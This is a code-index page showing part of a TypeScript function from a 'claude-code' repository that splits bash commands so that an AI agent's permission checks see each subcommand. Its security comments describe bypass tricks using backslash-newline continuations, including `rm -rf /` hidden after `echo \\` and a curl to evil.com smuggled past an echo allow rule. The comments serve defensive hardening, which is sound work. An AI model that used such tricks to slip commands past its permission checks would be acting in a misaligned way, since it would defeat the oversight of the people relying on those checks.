MCPcopy Index your code
hub / github.com/codeaashu/claude-code / splitCommandWithOperators

Function splitCommandWithOperators

src/utils/bash/commands.ts:85–249  ·  view source on GitHub ↗
(command: string)

Source from the content-addressed store, hash-verified

83export type { CommandPrefixResult, CommandSubcommandPrefixResult }
84
85export function splitCommandWithOperators(command: string): string[] {
86 const parts: (ParseEntry | null)[] = []
87
88 // Generate unique placeholders for this parse to prevent injection attacks
89 // Security: Using random salt prevents malicious commands from containing
90 // literal placeholder strings that would be replaced during parsing
91 const placeholders = generatePlaceholders()
92
93 // Extract heredocs before parsing - shell-quote parses << incorrectly
94 const { processedCommand, heredocs } = extractHeredocs(command)
95
96 // Join continuation lines: backslash followed by newline removes both characters
97 // This must happen before newline tokenization to treat continuation lines as single commands
98 // SECURITY: We must NOT add a space here - shell joins tokens directly without space.
99 // Adding a space would allow bypass attacks like `tr\<newline>aceroute` being parsed as
100 // `tr aceroute` (two tokens) while shell executes `traceroute` (one token).
101 // SECURITY: We must only join when there's an ODD number of backslashes before the newline.
102 // With an even number (e.g., `\\<newline>`), the backslashes pair up as escape sequences,
103 // and the newline is a command separator, not a continuation. Joining would cause us to
104 // miss checking subsequent commands (e.g., `echo \\<newline>rm -rf /` would be parsed as
105 // one command but shell executes two).
106 const commandWithContinuationsJoined = processedCommand.replace(
107 /\\+\n/g,
108 match => {
109 const backslashCount = match.length - 1 // -1 for the newline
110 if (backslashCount % 2 === 1) {
111 // Odd number of backslashes: last one escapes the newline (line continuation)
112 // Remove the escaping backslash and newline, keep remaining backslashes
113 return '\\'.repeat(backslashCount - 1)
114 } else {
115 // Even number of backslashes: all pair up as escape sequences
116 // The newline is a command separator, not continuation - keep it
117 return match
118 }
119 },
120 )
121
122 // SECURITY: Also join continuations on the ORIGINAL command (pre-heredoc-
123 // extraction) for use in the parse-failure fallback paths. The fallback
124 // returns a single-element array that downstream permission checks process
125 // as ONE subcommand. If we return the ORIGINAL (pre-join) text, the
126 // validator checks `foo\<NL>bar` while bash executes `foobar` (joined).
127 // Exploit: `echo "$\<NL>{}" ; curl evil.com` — pre-join, `$` and `{}` are
128 // split across lines so `${}` isn't a dangerous pattern; `;` is visible but
129 // the whole thing is ONE subcommand matching `Bash(echo:*)`. Post-join,
130 // zsh/bash executes `echo "${}" ; curl evil.com` → curl runs.
131 // We join on the ORIGINAL (not processedCommand) so the fallback doesn't
132 // need to deal with heredoc placeholders.
133 const commandOriginalJoined = command.replace(/\\+\n/g, match => {
134 const backslashCount = match.length - 1
135 if (backslashCount % 2 === 1) {
136 return '\\'.repeat(backslashCount - 1)
137 }
138 return match
139 })
140
141 // Try to parse the command to detect malformed syntax
142 const parseResult = tryParseShellCommand(

Callers 4

isSilentBashCommandFunction · 0.85
getPipeSegmentsMethod · 0.85
splitCommand_DEPRECATEDFunction · 0.85

Calls 5

generatePlaceholdersFunction · 0.85
extractHeredocsFunction · 0.85
tryParseShellCommandFunction · 0.85
restoreHeredocsFunction · 0.85
pushMethod · 0.45

Tested by

no test coverage detected